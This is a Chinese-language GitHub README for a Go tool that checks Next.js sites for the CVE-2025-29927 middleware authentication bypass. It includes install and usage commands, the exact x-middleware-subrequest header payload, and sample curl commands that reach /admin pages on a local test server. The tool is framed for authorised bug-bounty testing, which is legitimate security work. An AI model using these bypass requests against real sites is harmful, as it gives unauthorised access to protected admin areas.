daniyalnasir-root/SkipMiddleware
GitHub: daniyalnasir-root/SkipMiddleware
一款针对 CVE-2025-29927 的 Go CLI 工具,通过发送 x-middleware-subrequest 头部来自动检测 Next.js 中间件的身份验证绕过漏洞并输出可复现的 curl 命令。
Stars: 0 | Forks: 0
# SkipMiddleware - 通过子请求头绕过 Next.js 中间件
一个小巧的 Go CLI 工具,用于探测 Next.js URL 是否存在 `x-middleware-subrequest` 身份验证绕过漏洞 (CVE-2025-29927),并为每个确认的绕过结果生成可直接复制粘贴的 curl 命令,方便您直接粘贴到漏洞赏金报告中。



## 概述
Next.js 中间件会在自身设置的请求头出现时发生短路——只需将 `x-middleware-subrequest` 设置为已知的 payload 值,在易受攻击的版本中,中间件的认证检查就会被完全跳过。该修复已在补丁版本的 12.x / 13.x / 14.x / 15.x 版本中发布,但在实际环境中未打补丁的部署仍然很常见。
该工具将这种手动探测封装成了可重复执行的程序。通过管道为其传入一组候选的管理后台 URL,它会尝试四种 header payload,并将那些从 `403`(或重定向到 `/login`)变为 `200` 的 URL 以可直接运行的 curl 命令形式输出。纯 stdout 输出可执行的结果,stderr 上显示动态进度条,让运行过程充满交互感且不会污染管道输出。
它仅探测您提供的 URL。没有爬虫,没有枚举,也没有侦察。最费力的部分(找出应该尝试哪个 URL)交由安全研究员完成;而最简单的部分(不出错地探测相同的四个 header 值)则交由二进制程序处理。
## 功能特性
- 对每个 URL 探测四种 `x-middleware-subrequest` payload 变体。
- 仅在基线请求被阻止(`401`/`403`/`3xx → /login`)且变体请求返回非空 `2xx` 响应体时确认绕过。
- 为每个确认的绕过在 stdout 输出可执行的 curl 命令,适用于 `tee` 和管道重定向到剪贴板的工作流。
- stderr 上显示实时进度条;支持 `NO_COLOR`、`CI` 和非 TTY 运行环境。
- 可选的 `--emit json` 会将结构化结果文件与可执行的 curl 命令一同写入。
- 单一静态二进制文件——无需运行时环境,直接部署到实战 VPS 即可使用。
## 安装说明
```
git clone https://github.com/daniyalnasir-root/SkipMiddleware.git
cd SkipMiddleware
go build -o skipmiddleware
```
或者直接使用 Go 工具链:
```
go install github.com/daniyalnasir-root/SkipMiddleware@latest
```
## 使用方法
```
# 从 stdin 管道传入 URLs
printf '%s\n' \
https://target.example.com/admin \
https://target.example.com/admin/users \
| ./skipmiddleware
# 或者传入一个文件
./skipmiddleware --file urls.txt --threads 8
# 在可执行的 curls 旁边保留一个 JSON artifact
./skipmiddleware --file urls.txt --emit json
```
`examples/fixtures/vulnerable_next.py` 下的固件模拟了 CVE-2025-29927,是您测试该二进制程序时最安全的靶标。
## 命令行选项
```
Required:
--file PATH URL list, one per line (or read from stdin)
Optional:
--threads N Concurrent probes (default 8)
--timeout DURATION Per-request timeout (default 10s)
--emit FORMAT Extra artifact: 'json' (default off)
--insecure Skip TLS verification
--ua STRING User-Agent header (default SkipMiddleware/0.1)
--no-color Force-disable ANSI color (also honors NO_COLOR)
-h, --help Show help and exit
```
## 输出示例
```
$ ./skipmiddleware --file urls.txt --threads 4
# stderr,动态进度条(16% / 41% / 70% / 100% 的快照):
[████····················] 16% (2/10)
[██████████··············] 41% (4/10)
[█████████████████·······] 70% (7/10)
[████████████████████████] 100% (10/10)
# stdout,可执行的 bypass curls:
curl -i -H 'x-middleware-subrequest: middleware' "http://127.0.0.1:8765/admin"
curl -i -H 'x-middleware-subrequest: middleware' "http://127.0.0.1:8765/admin/users"
curl -i -H 'x-middleware-subrequest: middleware' "http://127.0.0.1:8765/admin/billing"
curl -i -H 'x-middleware-subrequest: middleware' "http://127.0.0.1:8765/admin/settings"
# probed=10 confirmed=8 skipped=2
```
对一个包含 4 个 URL 的列表进行实测运行不到一秒钟即可完成;进度条在 TTY 终端上会以动画形式更新渲染。
## 法律免责声明
本工具仅供授权安全测试和教育用途使用。
请仅针对您拥有所有权或已获得明确书面授权进行测试的系统运行此工具。
作者对滥用行为不承担任何责任。未经授权的使用可能违反当地、州或联邦法律。
## 关于作者
Daniyal Nasir 是一名**网络安全顾问**和**漏洞赏金猎人**,担任财富 500 强客户和全球 SaaS 平台的 **VAPT 顾问**;业务范围涵盖**亚洲**、**欧洲**、**北美**和**拉丁美洲**。日常工作包括在**负责任的漏洞披露**和私人**漏洞赏金计划**下进行 **Web 应用程序渗透测试**、**API 安全测试**、**移动应用程序渗透测试**、**云渗透测试**、**源代码审查**以及**身份验证绕过研究**。拥有 **OSCP**、**CPENT**、**LPT (Master)**、**CEH** 和 **CASP+** 认证。
* LinkedIn: https://www.linkedin.com/in/daniyalnasir
* Website: https://www.daniyalnasir.com
## 许可证
MIT。请参阅 LICENSE。
标签:Bug Bounty, CISA项目, CVE-2025-29927, Go语言, GraphQL安全矩阵, Header注入, Web安全, x-middleware-subrequest, 中间件绕过, 可自定义解析器, 安全扫描器, 文档结构分析, 日志审计, 程序破解, 网络安全, 蓝队分析, 身份验证绕过, 隐私保护